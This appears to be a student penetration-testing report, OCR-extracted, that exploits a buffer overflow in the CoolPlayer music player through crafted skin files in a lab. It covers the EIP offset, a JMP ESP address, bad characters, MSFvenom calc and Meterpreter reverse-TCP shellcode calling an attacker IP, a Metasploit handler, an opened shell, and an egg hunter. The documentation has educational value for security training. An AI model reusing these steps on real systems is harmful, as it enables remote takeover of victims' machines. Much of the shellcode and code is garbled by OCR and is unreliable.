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Abstract

This report aims to test, exploit and explain the vulnerability and risks that can be found
the vulnerable music player ‘CoolPlayer’. The main focus of the exploitation is buffer
overflow, a common vulnerability that is exploited often in the modern world. Buffer
overflows occur when more data is entered into a program than memory allocated to
the input.

By using various tools and debuggers, while also following a methodology, the tester
was able to test and assess the risks that the vulnerability had, especially to the users.

In this report the tester was able to exploit the skins section of the application with both
common code and malicious code, demonstrating ‘normal’ execution and execution to
get around some attempted countermeasures for the vulnerability.

It was concluded, after the testing, that there were various methods that worked in
exploiting the buffer overflow vulnerability in which can lead to potential harm to the
user’s device.
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1 INTRODUCTION

1.1 BACKGROUND

An exploit is a piece of software, that takes advantage of a bug or vulnerability in order
to cause unintended behavior to occur on computer software, hardware, or something
electronic (Exploit (computer security) - Wikipedia, 2021).

Buffer overflow is a common type of vulnerability that is constantly being exploited as
exploiting memory corruption can allow malicious users to be able to execute many
different types of code that could give them access to the machine.

A buffer is a section of memory that is used to store data for a small amount of time.
The simplest explanation for a buffer overflow is the writing of data past the allocated
memory space reserved for the specific program in which can cause undefined behavior
(What is buffer overflow?, 2021).

An example of this is to consider a small program where a user has to enter a maximum
of 12 letters, in other words there is only 12 characters in the buffer. However, instead
of typing in 12 letters a user types in 15, this would lead to the extra characters being
written outside the allocated block of memory in the buffer and overflowing into the
stack (a section of memory that is right next to the buffer). This in turn can lead to the
corruption of memory and crashing the program.

Malicious users may exploit this and attempt to write specific code that overflows the
buffer and write malicious instructions that can be executed in the stack. One example
of code that a malicious user may use would be to open an unauthorised connection
back to their computer from the victim’s.

There are many types of overflow attacks such as stack overflow and heap overflow.

1.2 WHAT IS COOLPLAYER?

CoolPlayer is an old portable music player for Windows that allowed for users to be able
to make their player unique by customising their own skins. It had been reported that
CoolPlayer is vulnerable to buffer overflows which can be exploited through the use of
these skins, by creating long skins that overflow the character limit. Exploiting this
vulnerability allowed an attacker to be able to execute arbitrary code on the host
system. This is a CVE that was reported many years ago (CVE-2008-5735), though there
is more than just the one CVE for this program (Coolplayer Coolplayer: List of security
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vulnerabilities, 2007). The tester downloads the corresponding .EXE file and
MSVCRTD.DLL file in order to get started on testing this vulnerability.

1.3 Am

The aim of this report is to test and exploit the music player ‘CoolPlayer’, both
with Data Execution Prevention enabled and disabled. Using the programming
language Perl, the tester went to test the software with the intentions to
demonstrate the risks that are present with such a vulnerability.
Through the use of a methodology, the tester was able to conduct a structured
series of exploitation attempts in hopes to identify all the risks.
In order to achieve this the following objectives should be met:

e Testing the music player for response to overflowing the buffer.

e Proof of concept that the vulnerability exists using a normal program.

e Proof of concept using potentially malicious code.

e Using the above concept with Data Execution Prevention enabled

1.4 METHODOLOGY

The tester will be following the steps laid out below:

e Testing for vulnerability — using basic methods to overflow the buffer and write to
the stack.

e Locating the instruction point (EIP) — through the use of patterns in the
overflowing characters to calculate the EIP.

e Get distance to the EIP — through using pattern-based tools.

e Find room for shellcode — start of exploit through sending as many characters as
the program will take.

e Test for bad characters — through the use of Immunity debugger.

e Testing for proof of concept — by using a common program as ‘shellcode’ e.g.,
calculator.

e Exploit with ‘malicious’ code — for example reverse shell.

e Egg hunter code — proving more than one way to exploit the program.

e Repeating with DEP enabled — attempting to exploit the program with DEP
enabled.
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2 PROCEDURE

2.1 OVERVIEW OF PROCEDURE

The methodology, that was mentioned earlier, was followed in order to assess the
exploitability of the music player application. By attaching the music player to debugging
software such as Ollydbg and Immunity Debugger it is possible to monitor memory
registers, etc. Using these makes it easier to craft exploits and monitor the effects of the

uploaded code. The main target for these exploitations is the skin section, which
involved the tester creating .INI files.

2.2 PROCEDURE

2.2.1 DEP disabled

Through the use of Ollydbg and specifically made .INI files for the CoolPlayer application,
the tester was able to test the vulnerability. The tester used Ollydbg in order to watch
memory registers and the stack for the effects of the .INI file that was made.

The file that was to be uploaded for testing consisted of the required CoolPlayer skin
header and a large number of “A”’s that would be used to crash the application. The
first step was to find out how many “A”’s was required to crash the application. The
tester tested this with 3500 A’s (Figure 2), which led to the application crashing and
providing the error that showed the EIP being overwritten with the letter “A” (0x41 in
the figure which is hexadecimal for A) in figure 4.
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Figure 1 CoolPlayer music player

3|Page



File Edit Search View Encoding Language Settings Tools

¥ C\Documents and Settings\Administrator\Desktop\playskin.pl - Note

Macro Run  Plugins

Window

o5 H & @---é[g]|*hﬁ|ac|ﬁﬂbﬂ| L -$||_--'_r:_!_|—=:.1 il

B Copy of Test EIP location pl £ [=] playsking! E3 |

» Ly Ry

1 o i
[u]
o
Jui]
=

[
%}
[
o
L)
Jui

Figure 2 Perl code for buffer overflow vulnerability

oolPlayer Options x|

r General
[~ Always on top [V Read|D3 Tag [if any)
™ Esit after playing ¥ Fead|D3 Tag of selected
[+ Fotate spstemtray icon ¥ Suppart ID3v2
¥ Scoll Songtitle |V Prefer native 0GG tags
¥ &llow file once i playlist ¥ Load D3 tags in background
[ Autoplay on startup ¥ work out track lengths
I~ Allow multiple instances v Easp move
[ Show remaining time ¥ Remember playlist
™ Show on taskbar ™ Remember last played

[0 = Track Delay (sec) [+ =] skinlistlength _Flush |

Reqister Filetypes | Add lcon to StartMenu & Desklop I
— Output
DirectSound Plugout j
Walume contrals |System MASTER volume =l
r— Skin

V¥ Player IC:\Documents and 5 ettingst adminiztratort Open I

oK | Cancel |

Figure 3 Uploading .INI file
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File View Debug Plugins Options Window Help
x| w[n] w3 ¥ A + L[E[M[T[W[H|c]/[K[B|R[..[5] =[E

[E cpU - main thread
4 | Registers (FRL < <
ERx 41414142
ECH BEEGEEEL
Eg§ 156582
ESP @B11E4ES ASCII “AAAAARARARAARABANARARARAACARAC
EEP 41414141
Eg; 11E4FB RASCIT "ARARAARRAAAAAAAAAFAAAAAAAAAAAR
= EIF'I41414141 I
Coa 2bit BiFFFFFFFF]
Address | Hew durp |nscu - 41414141 ARAA
DOADECEE| OO 00 0D D] 00 00 B8 0o) .. . A= I A A anen
GRADEDES| 6B 66 G5 06 55 G5 EdF4| 41414141| AAAR
GR4DECLG| 68 66 G5 06 55 G5 EdFs| 41414141| AAAR
4DEG] S &
ADEGES & E4FC| 41414141| AAAA
ADEGES & ESEA| 41414141| AARA
ADEG & ESA4| 41414141| AAARA
A0EGSE & ESE2| 41414141 AAAA
A0EGE & EGEC| 41414141| AAAA
ADEB4S it ECic| 41414141|AOAA
4DEBER B GE11E514| 41414141(AARA
4DEGES & GE11EE1S| 41414141(AAGA
ADEBED B EE1C| 41414141|AOAA
ADEBER & EC2a| 41414141| AOAA
4DEGSE B EE24| 41414141| AOAA
ADEG TS & EC22| 41414141| AOAA
ADEGLS & ECZC| 41414141| AOAA
BO4DEGSE| 00 0O BA BA| B0 69 0| Siee| e
GR4DEGSE| 6B 66 G5 065G G5 Eooe| 41414141| AAAR
4DEGSS &
A0EGRG & ES3C| 41414141| AARA
40EBAS & ES4d| 41414141| AAAA
ADEGES & EG44| 41414141| AAAA
A0EGES & EG42| 41414141| AAAA
A0EGLG & EG4C| 41414141| AAAA
ADEBCE it EESG| 41414141| ADAA
P mic e o GE11EE54| 41414141 | AAAA
Access vidlation when executing [41414141 ]l uge Shift+F7 /F8/FS to pass exception to program | | Paused

Figure 4 EIP and stack being overwritten with A's

After getting the error that showed that there were enough of the letter A to
overflow the buffer, the tester then needed to find the distance to the instruction
pointer (EIP). This was done using a pattern creation tool (Figure 5) and a pattern
offset tool (Figure 8).

The pattern creation tool took in the number of A’s that the tester used in the
initial test and created a pattern equally as large. The tester then puts the pattern
in place of the 3500 A’s (Figure 6) and uploads it to the program in order to see
which part of the pattern gets written to the EIP (Figure 7).
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Eg0BglBg2Eqg3Bg4Bg5EgbEg7 gEBgQBhDBhlB
6B17E18B198j0Bj1B]2E 3B 4B 566878 8B 98k
13814B15816E17E18E19Em0Bm1Em2Em3Em4Bm5SEm6E
BoDBolBoZBoJBo4BOEBoFBo BoB8Bo9BpOBp1Bp2Bp3Bp4B
jcEq7 BtuqQBrUBrlBr’BPJBP4BrfBrFBP 'Br8BrIBs0Bs1Bs

CeOCelCe2Ce3CedCasCablerCas cFUcﬂc cf3cfac CFI’CF.-'CFUCFQCgDCgngf_'CgJCg-ngng
.ng CgungChUCthhﬂchJCh Ch5Ch6Ch7Ch8Ch9Ci 0 1C1 i 8

i j 7C38C59Ck0Ck1C 3 k S 15 i S
CmDleCmZCmJCm4CmemFCm.Cmqu CnDCnlCnLCnJCn4CannFCn.CnuCn_CODC01C02C01C04CGFC0'

Figure 5 Pattern Create tool - 3500 characters

6 open ( L MeEfilel™)
print
B closze | )

Figure 6 Pattern created in Perl code to make new .INI file
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& | Registers [(FFPU < <

T ER: 2184121

ECH BEpaaDED

ED: B81Sa665

EEX DE080858

ESP B811E4ES ASCII "j3Bj4EjSEBicBITE 5B IEKGER 1BL2E
EEF Z16A423A

ESI @811EdFa ASCII "Bj6EjTE.JSEJFEkEEK 1Bk ZEK SEL4BKE

EDI &5 e[

- | EIF [#2326R4z]

Ca L SZbit BLFFFFFFFF)

- ERA42336R
BAL1E4EC| 256A4234
BAl1E4FA| 42366R42
BELIE4F4| ER4227EH
BELIE4F2| 296A4238
BELIE4FC| 422@5B42
BEl1ESHE| SB42316E
BELIESHY| 23cB4232
BALIESHS| 42346B4:2
BAal1ESAC| &B42356E
BAl1EE1A| 37EE4235
BALIEE14| 42325B42
BAl1EE12| &C42336E
BALIEEIC| 214C4236
BELIEEZE| 42326042
BELIEEZ4| EC42226C
BELIEEZS| 2EEC4224
BELIESZC| 42366042
Ba11ES38| eC42376C
Gal1EE34| 29504228
BAl1EE22| 423@c042
BaliEEaC| &04232160
BAl1EE4a| 232604232
BA11EE44| 42346042
BE11EE42| &0422560
BELIEE4C] 2704226
BELIEEEE| 42226042
BE11ESS4]| SE423360

violation when executing[42326442]F use Shift+F7/FE/F3 to pass excephion to program | Top | Pauzed

Figure 7 EIP being written by the pattern

C\WINDOWS\system32\cmd.exe

C:\Documents and Settings\Administrator\Desktop=pattern_offset.exe|42326A42 [3500)

C : /DOCUME: /LOCALS~1/Temp/ocr3.tmp/11b/ruby/1.9.1/rubygems/custom_requi
re.rb:36:1n “require': iconv will be deprecated in the future, use String#encode
-iF_I‘: Ead.

j1056

C:\Documents and Settings‘\Administrator\Desktop:

Figure 8 Pattern Offset tool - number of characters to EIP

The EIP is calculated in order for the tester to be able to take control of it and essentially
take control over the entire program. After calculation, the tester needed to test that
this was indeed the correct location, by having the 1056 (calculated number) A’s sent in
addition to 4 “B”’s “C"”’s and “D"’s (Figure 9). If the location is correct and there is no
other filtering in effect or compensation required, the tester would see the letter B
(0x42) in place of the EIP and see each of the letter’s C (0x43) and D (0x44) four times at
the top of the stack (Figure 10).
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close (=
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Figure 9 Testing EIP location
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File View Debug Plugins Options Window Help

Bl x| wn| w4 ¥ 1 2| + L|E|M[T|W]H|c|/|K[B|R|..|5] |

a | Registers (FPUI < <
T (| ERE 41414142
LN Ec paseencE
ED: BE1SBEEHS
EE: BEEEHEHE
ESF @@11E4ES ASCII "CCccopopot™
EEF 41414141
ESI HAl1E4FE
EDTI
- EIF| 42424242
C B ES BE2E 32bit BIFFFFFFFF]
Address |Hex dump HSCT L " 43434543
BE4OEDHD | 68 B6 05 08 65 G0 B8 B ........ I | Gebancend AR
BE40ERRS|( B8 B8 88 B8 B8 B8 B0 B8] . ..... .. G511E4F4| pRiZ=ice| il
BE40ER1G|( B8 B8 88 @8 B8 B8 B0 B8] . ..... .. A511E4FE| pEPABEED B
BE40EGIS( B8 B8 88 @8 B8 B8 B0 B8] ... .. @81 1E4FC| Coooooon LR
BE4DECZE| B8 B8 28 B8 B8 BE B0 G0 . eeeee GE11ECRE| COCOOOOD
BE4DESZE( B8 B8 88 @8 B8 BE B0 B8] ... ... A911E504| COOBOOOD
BE40EEIE| B8 B8 88 @8 BE BE 00 B8] ... ..., G911E502| CODROOOD
BE4DEGIS( B 88 88 98 B8 08 00 G0] ... ... 0. G591 1ESOC| CODRLOOD
BE4DEG4E| B8 B8 88 98 B8 08 00 G0 ... ... .. G511EC1G| CODROOOD
BE40ER4E( B8 B8 B8 B8 B8 BB B8 B8] . ..... .. G511EC14| CODOLOOD
BE40ERSE( B8 B8 88 @8 B8 B8 B0 BE| . ..... .. AE11ES1a| COOLLOOD
BE40ERES|( B8 B8 88 @8 B8 B8 B0 B8] . ...0. .. AF11ESiC| CooLLOOD
HE40OEREE]| BE HE BB AE| A8 B8 B8 BE| ... ..... G611EE20| COCOOOOD
BE4DECEE | B8 B8 88 @8 B8 BE B0 G0 . .eeeeen GE11EE24| COCLOOOD
BE4DELSTE| B8 B8 88 @8 B8 BE B0 B8] ... ... .. A911E522| COOBOOOD
BE40EETE( B8 B8 88 @8 BE BE 00 B8] ... ..., G911ESeC| CODROOOD
BE4DEGSE( B8 B8 88 98 B8 08 00 G0 ... ... G511E506| CODROOOD
BE40ERSE( B8 B8 88 B8 B8 B8 B8 B8] . ..... .. G511ED34| CODOLOOD
BE4DEESE( B8 B8 88 B8 B8 BE B8 B8] . ..... .. G511E035| CODOLOOD
BE40EESS( B8 B8 88 @8 B8 B8 B0 BE| . ..... .. A511ES30| COOLLOOD
BE40ECAE| B8 B8 88 @8 B8 B8 B0 B8] .. ... .. A511E54@| CoOLLOOD
BE40ECAS| B8 B8 88 @8 B8 BE B0 G8) . eeeee GE11EE4d| COCLOOOD
BE4DECRE| B8 B8 88 @8 B8 BE B0 B8] ... ... GE11ES4E| COCLOOOD
BE4DECRS| B8 B8 88 @8 BE BE B0 B8] ... ... A911E540| COOBOOOD
BE40EECH| B8 B8 88 @8 BE BE B0 B8] ... ... .. G911ESEH| CODRLOOD
BE4DEGCE( B8 88 88 98 B8 08 00 G30] ... ...
GEARC ARG | Gn Gm G Giml G GE G @E HE11E554| CCCCCCCC
|.f1‘n.cc:ess wvinlation when executing [42424242] - uze Shift+F7/F8/F9 to pazs exception bo program Top | Fauzed

Figure 10 Testing EIP location in stack

After this was confirmed, the tester then moved onto finding a JMP ESP call in the
Kernel32.dll (Figure 11) so that after filling the buffer it would jump to a JMP ESP. A JMP
ESP, when hit, makes the program jump to the top of the stack, in this case where the
shellcode is and would then be executed.
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C:\Documents and Settings\Administrator‘\Desktop>=findjmp.exe kernel32.d11 ESP

ad
2.d11 for code useable with the ESP register
call Esp
imp ESP
call ESP
i ed Scanning kernel32.d11 for code useable with the ESP register
Found 3 usable addresses

C:\Documents and Settings\Administrator\Desktop:>

Figure 11 Finding JMP ESP in kernel32.dll

With a JMP ESP address found, it can be added to the Perl code in place of the 4 “B”
characters. However, due to the fact that the stack reads instructions backwards
(or little endian style) the tester had to pack the address so that when it is written
to the program it is readable to the program (Figure 12).

2 = "A" x 103&;
= [pack( ,0x7C26467E) ; |
= L

7 = "D" x 4

10 open | T rELilel™) ;

11 print

12 close | 1

Fi_.qa-lre 12 Packing the JMIP ESP memory address

After the tester was able to confirm that the JMP ESP works the way that was
wanted, the next step was to find how much space was available in the stack, this
would allow for the tester to be able to check to see how much space was
available for shellcode.

In order to do this the tester would need to do a similar test as the one that was
used to check the size of the buffer. By sending a large number of a characters it
would be possible to see how much space there is available within the stack. The
tester went ahead with sending “\x90” or otherwise called NOPs, which are areas
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of empty space with no instructions (Figure 13). This was noted through placing a
breakpoint on the JMP ESP memory location (Figure 14 and 15) where the results
can be seen in figure 16.

E' C\Documents and Settings\Administrator\DesktopRoom For Shellcode.pl -

File Edit Search View Encoding Language Settings Tools Macro Run Plugins  Window
s HEHE < & KWl e |t 2 s HE[S

[=] Room For Shellcode pl E3 |

1 lplayerSkinRoom.ini™;
2 "[CoolPlayer Skin]in":
3 "PlaylistSkin=";
4 "A" x 1056;
5 pack ('V' ,0XTCEE46TE)
6 nhowgor x 5-_":':':,.'
B wy oo .
9 ilelmy;
10 tPlavlistsSkin;

Figure 13 Sending NOPs to check room for Shellcode

File ‘iew Debug Plugins Options  wWindow  Help
Blx]| »nj si+ L Y

[&] cPu - thread 000003CC, module ntdll
| 7C20126F ) RETH « | Registers (FFU

TConlzin| SEFF Mgy EOI,EDI
FromiElz| oo IATS EAx rEFOEOER
BEEEEEEE
7ropiEls| ca RETH fonenons
Tronizi4| SEFF MOU EOT,EDI onenans
Tronizie| SEdd42d B MOl ER,DWORD FTR
1 34FFCL
7ioniziA| ct INTS EHEAEEE
Tronizie| C2 odoe RETH 4 DiEaeers
7CoBIZIE| E4:A1 18008008 | MOU_ERX,DUORD PTR

Fooalzad| c E =
7CoA1225| BF Enter expression to follow
FLOE122E [u]

|07CEE467E |

+;

Address
HE40ERER
BE40ERAS) B8 B8 BB B8 BB 58
BE40EALE) B8 B8 BB B8 BB 58
BE40EALS) B8 B8 BB 68 BB 58
BE4DEEZE| B8 B8 BB B8 BB 58

] 4 I Eancell
HA40EAZE| B8 BE BR B8 @A BE

9A40EQ30| 8O 08 @08 Q8 60 00 GfEEE. | I'a1z4rrrrl 7racmazal nedi 1 Fracmazm
Figure 14 Setting Breakpoint

0 0
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OllyDbg - 1801153.exe

File View

Debug Plugins

Options  Window Help

(Blex| wN] wijv] kL A A

- thread 000009CC, module kernel32

FLCEE4E7E
FLEcdE82
rLacdega
FLEc4582
rCEc458H
FLEc4Ea0
rCecd4e20
FLEG4E92
rCeede94
FLECdESE

47

267YCFF 15
f=iz]

15 8ArCsbss
SEFE

FEFF

Ei

8DEE ASFOFFFF
Ed

3308

)

JHE ESE
INC EDI

®CHE EYTE PTR DS:[
FOF ERX

AOC ER, B520FCEA
CHF OH, EH

by
FUSH EAX _|
LER ERX,OWORO PTR
LOR EGL R

FUSH EA ﬂ

Figure 15 Breakpoint (shortcut F2)

CE1AE4EC
CA1EE4FE
BR1EE4FS
CA1EE4FS
BR1EE4FC
A1 HESEE
B 1 HECEL
CE1BESES
B 1 HECEC
CE1EES1E
BA1EES14
CR1EES1S
BAIAES1C
HE1AES2E
CA1EES 24
HE1AEEZS
BA1EES2C
BR1EESSE
CE1HES T4
BR1EESSE
HEA1EESIC
G 1EEC4E
B 1HES 44
SR1EEC4S
CE1AES4C
ER1EECER

A1 AESE

EEETEETEETE]
SEDADEE
QEIEIEIE
SEIEIEIE
QEIEEIE
SEIEIEIE
QEIEEIE
SEIAIEIE
SE2E2E3E
SEIAIEIE
SE2E2E3E
SEIAIEIE
SE2E2E3E
SEIAIEIE
QEEDEIE
QEIEIEIE
QEEDEIE
QEIEIEIE
SEIEIEIE
QEIEIEIE
SEIEIEIE
QEIEEIE
SEIAIEIE
QEIEEIE
SEIAIEIE
SE2E2E3E
SEIAIEIE
SESESE 38

F8/F3 to pazs exception to program | | Fauzed

Figure 16 About 32000 NOP's

Next the tester looked at potential filtering of characters. Due to the buffer
overflow vulnerability being a popular exploited vulnerability it is possible that
when making the program the programmers added a filter that would filter out
certain characters. Also, the program itself may take act differently to certain
characters such as 0x00 which is often an end of line command, which would cut
off anything after it. The tester had to test for such characters that had the
possibility to negatively affect the execution of the shellcode. For this the tester
used another debugger called Immunity Debugger (Immunity Debugger, 2020) and
attached CoolPlayer to it (Figure 17) by clicking file and attach and selecting
CoolPlayer. Immunity Debugger was used because it supports a plugin called
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mona.py (corelan/mona, 2020). Mona.py has the ability to compare contents of a
file to what is in memory. More specifically a generated collection of all 256 ASCII
(Figure 18) characters can be put into the CoolPlayer program and the log be
compared to what is in memory, in order to root out any filtered/bad characters. If
any of the characters are filtered it would be noticeable as something other than
the character would be displayed or nothing would be displayed at all if one were
to attempt to find filtered characters by visually checking.

Firstly, the tester created a folder for all the logs to go into to be looked at and
used later. To do this the command ‘!mona config -set workfolder c:/log/1801153’
was used creating a ‘log’ folder and a ‘1801153’ sub-folder on the C: drive. After
that the command ‘!mona bytearray’ was run in order to create all 256 ASCII
characters that would be put into the Perl program, to then be uploaded to
CoolPlayer (Figure 19).

File Wiews Debug Plugins Immlib  Options  Window Help  Jobs

% EE X I HELEY lemtwhcPEkbzr.s ?

@ call
Called £emm

Select process to attach
I S 3

-

Cancel I

Mood amnnaw *7 ndodt httn- srfnunum Ammunitadnne anms I Maaan L}

Figure 17 Attaching CoolPlayer to Immunity Debugger

Figure 18 All 256 ASCII characters
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open ( L">EEilel™) ;
print
close( )

Figure 19 256 ASCII characters in Perl code

After attaching CoolPlayer to Immunity Debugger and uploading the new skin file
the tester  then used the command ‘Imona compare -f
c:/logs/1801153/bytearray.bin -a 0011E4F8’ (Figure 20 and Figure 21) to compare
the ASCII characters that are in the stack to the ones that are in memory and
locate any filtered characters.

“!mnna compare -f c:/logs1801153/bytearray.bin -a|0011E4E8|

Figure 20 Compare command at ASCIl memory location
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Figure 21 Memory location in stack
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11 14 15 16 1 E: ! mona Memory comparison results
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Figure 22 Comparing ASCII characters

After having the bad characters returned (Figure 22) from the program it is now
possible to use a tool called MSFvenom to craft shellcode that would avoid using
the listed bad characters (Figure 23). Then, using the shellcode that was produced
and placing it to the Perl code in order to be able to upload it into the music player
to try to get calculator to pop up, in which was successfully achieved (Figure 24).
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root @kali: ~
File Actions Edit View Help
root@kali: ~

:~# msfvenom —platform Windows -a x86 -p windows/exec cmd=calc.
exe -e x86/alpha_upper -f perl -b '\x@0\x01\x02\x03\x04\x05\x06\x07\x08\x
09\ x@a\x0b\x0c\x0d\x0e\x@F \x10%x11 \x12 \x13\x 16\ x15%x 164217 x18 \x19 \x1a\x1
bA\x1c\x1d\x1e\x1f\x2c\x3d"

Found 1 compatible encoders

Attempting to encode payload with 1 iterations of x86/alpha_upper
x86/alpha_upper succeeded with size 455 (iteration=0)
x86/alpha_upper chosen with final size 455

Payload size: 455 bytes

Final size of perl file: 1995 bytes

my $buf =
"\x89\xe2\xd9\xce\xd9\x72\xF&\x58\x50\x59\ x40\ x4\ x49\x49" .
"\x463\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x&8\x48\x30\x41\x30\x30 \x41" .
"hxA2N\es 1N AL\ xE 2\ 56\ 61\ 61\ 51\ x3 261 \x42\ 32\ k42 \x42" |
"Wx30\x42\x42\x58\x50\x38\x41 \x43 \x4a \xba\ x40 \xbb\xbc\x4b" .
"\x58\x4b\x32\x53\x30\x55\x50\x55\ x50 \x53\x50 \x4d\x59 \x4a"
"\x45\x36\x51\x59\ x50\ k42 \x&4\xbc\x4b\Xx36\x30\x46\X50 \x4c" .
"W\xabA\A5ON\ 52\ x5 \ b\ XL\ xEb\X51\x462\x52 \x3 4 \xbc\xbb\x42" |
"Wx52\x31\x38\x54\x4F\x48\x37\ x50\ x4a \x36\x46\x30\x31\x4b" .
"\xb&F\xbe\x4c\x57\x4c\x33\x51\x33 \x4c\x43\x32\x46\x4c\Xx51" .
"\x30\x49\x51\ x4 8\ x4 F\ kb4 \xbd\x43\x31\x59\x57\x4d\x32\x5a" .
"Wx52N\A50N\ 52\ A6 \XI T\ KL\ xEb\X50 N\ x52 \x36\ x50 x4\ xbb\x51" .
"\x5a\x37\xb4c\x4c\x4b\x30\x4c\x54\x51\x33\x48\x4d\x33\x37" .
"\x38\x33\x31\x58\x51 \x46\x31\x4c\x4b\x30\x59 \x47\x50\x53" .
"\x31\x38\x53\x4c\x4b\x51\x59\x35 \ x48\x4b\x53\x57 \x4a\x31" .
"W 59N xhc\xbb\ b6\ X5\ R4\ xEb\xE5\x51\x58\ k56 \x30\x31\x4b" .
"\x4fAx4e\x4c\x39\x51\x38\ x4 \x44\x4d \x55\x51\x39\x57\x30" .
"\x38\x&b\x50\x43\x45\x5a\x56\x44\x43\x43\x4d\xsb\xs8\X57" .

Figure 23 Calculator shell code using MSFvenom

AT

Edit View Help
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Figure 24 Calculator popping up after running skin with shellcode

2.2.1.1 Complex exploitation

After being able to prove the concept through the use of calculator shellcode, the tester
then moved onto something a little more complex. This was to use a reverse TCP shell
that would connect back to the tester’s kali machine (attacker machine). With the use of
MSFvenom again, the tester was able to craft a reverse TCP shellcode in Perl to put in
place of the calculator shellcode. First, the tester needed the IP address of the attacking
machine, which was retrieved through using the command ‘ifconfig’ (Figure 25).
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Once, the IP address was retrieved it was possible for the tester to craft ‘malicious’ code
using MSFvenom and alpha_upper in order to avoid possible issues with filtered
characters (Figure 26).

root@kali: ~
File Actions Edit View Help
root@kali: ~ %

:~# ifoncfig
bash: ifoncfig: command not found
:~# ifconfig
ethd: flags=4163<UP.BROADCAST,RUNNING,MULTICAST> mtu 1500
1.254 netmask 255.255.255.8 broadcast 192.168.1.255
c:29tf:fe74:d1a3 prefixlen 64 scopeid 0x20<link>
29:74:d1:a3 txqueuelen 1000 (Ethernet)
bytes @ (0.0 B)
RX errors @ dropped @ overruns @ frame @
TX packets 18 bytes 1348 (1.3 KiB)
TX errors @ dropped @ overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid @x1@<host>
loop txqueuelen 1800 (Local Loopback)
RX packets 4 bytes 240 (240.@ B)

Figure 25 IP address of the Kali attacking machine

root@kali: ~
File Actions Edit View Help
root@kali: ~

:~# msfvenom —platofrm Windows -a x86 -p windows/meterpreter/revers

e_tcp -e x86/alpha_upper -f perl -b '\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09
\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\¥1A\x17\x18\x19\x1a\x1b\x1c\
x1d\x1e\x1f\x2c\3dl LHOST::192.168.1.254 LPORT 4444

Figure 26 Reverse tcp shellcode with attacker IP and selected Port

Next, the TCP handler was set up on the attacker’s machine using the Metasploit
framework (Figures 27 and 28). After uploading the skin file with the malicious code in it
the handler was able to successfully open a Meterpreter shell on the victim’s computer.
It can be seen to have succeeded in figure 29, in which a shell is opened on the victim’s
computer (Figure 30).
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root @ kali: ~
File Actions Edit View Help
root@kali: ~

msf5 exploit( ) > set payload windows/meterpreter/reverse_tcp
payload = windows/meterpreter/reverse_tcp
msf5 exploit( ) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC process Exit technique (Accepted: '', seh, th
read, process, none)
LHOST The listen address (an interface may

Figure 27 Setting up framework with payload

root@kali: ~
File Actions Edit View Help
root@kali: ~

Name Current Setting Required Description

EXITFUNC process Exit technique (Accepted: '', seh, th
read, process, none)

LHOST 192.168.1.254 yes The listen address (an interface may
be specified)

LPORT Labh yes The listen port

Exploit target:
Id Name

@ Wildcard Target

msf5 exploit( ) > exploit]]

Figure 28 Setting up framework with attacker information and exploiting Victim
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root@kali: ~

File Actions Edit View Help

root@kali: ~ %)

meterpreter >
Background session 17 [y/N]

msf5 exploit( ) » session
Unknown command: session.
msf5 exploit( ) > sessions

Active sessions

Id Name Type Information
Connection

meterpreter x86/windows XPSP3VULNERABLE\Administrator @ XPSP3VUL
NERABLE 192.168.1.254:4444 — 192.168.1.1:1046 (192.168.1.1)

msf5 exploit( ) > 1

Figure 29 Successful exploitation

meterpreter > sysinfo

Computer : XPSP3VULNERABLE

0s : Windows XP (5.1 Build 2608, Service Pack 3).
Architecture : xB6

System Language : en_GB

Domain : XP

Logged On Users : 2
Meterpreter : x86/windows

meterpreter > |

Figure 30 Meterpreter shell

2.2.1.2 Egg hunter Proof of Concept (PoC)

The music player had plenty of space for shellcode, but this is not always the case.
Sometimes the amount of space that can be written to can be limited and even
lack the space for even running calculator or notepad. However, there are
methods that can go around this, and one such method that the tester used was
egg hunting. The egg hunting method can also be thought of as “staged shellcode”
(Van Eeckhoutte, 2021), where a small amount of shellcode is executed in order to
search for the larger shellcode that is written somewhere else in memory. There
are 3 main techniques; 1) the SEH technique — which requires about 60 bytes of
space, 2) the IsBadReadPtr — which requires 37 bytes and 3) the NtDisplayString —
which uses 32 bytes. In this case the tester used the NtDisplayString technique.
When crafting egg hunter shellcode, a unique ‘tag’ is used, in this case the tester
used ‘w00t’ (Figure 31), then the tester started the shellcode with ‘w00twO00t’. A
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second ‘w00t" was added to differentiate the tag from the shellcode. In order to
avoid any unexpected behaviour from the CoolPlayer program the alpha_upper
encoder was used on the egg hunter code (Figure 32) (Van Eeckhoutte, 2021).

D2\x58\XCD\X2E\x3C\x05\xEANX T4\ xEF\ XBE",
" x30

apen |
print
close | )

Figure 31 Egg hunter tag

root@kali: ~
File Actions Edit View Help
root@kali: ~

:~# cat ./egghunting.bin | msfvenom —platform Windows -a x86 -
e xB6/alpha_upper -f perl -b "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09'\x0
a\x0b\x0c\x0d\x0e\x0F\x10\x11\x12\x13\x14\x15\x164x17\x18\x19\x1a\x1b\x1c
\x1dyx1e\x1f\x2c\x3d’
Attempting to read payload from STDIN ...
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_upper
x86/alpha_upper succeeded with size 133 (iteration=0)
x86/alpha_upper chosen with final size 133
Payload size: 133 bytes
Final size of perl file: 592 bytes
my $buf =
"\x89\xe2\xdb\xd9\xd9\x72\xf&\x5d\x55\x59\x&9\xb9\x49\x49" .
"has3Nxb3\xb3\ b3 \xb3\x43\x51 \x5a\x56\x54 \x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33 \x48\x48\x30\x41\x30\x30\x41" .
"\xA2\XA1\XA1\XA2\x 58 a1 \xE1\X51\x32 \ x4 1 \xe2\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x&3\xba\xba\xs9\x53\x56\xkb" .
"\x31\x48\x4a\xab\x&F\xbe\x4F\x50\x42\x36\x32\x53\x5a\x4&7" .
"Wx33\ kb6 \x3B\x3B\xbd\xb6\xbe\X5T\xbc\x33\x35\ x50 \x5a\x53" .
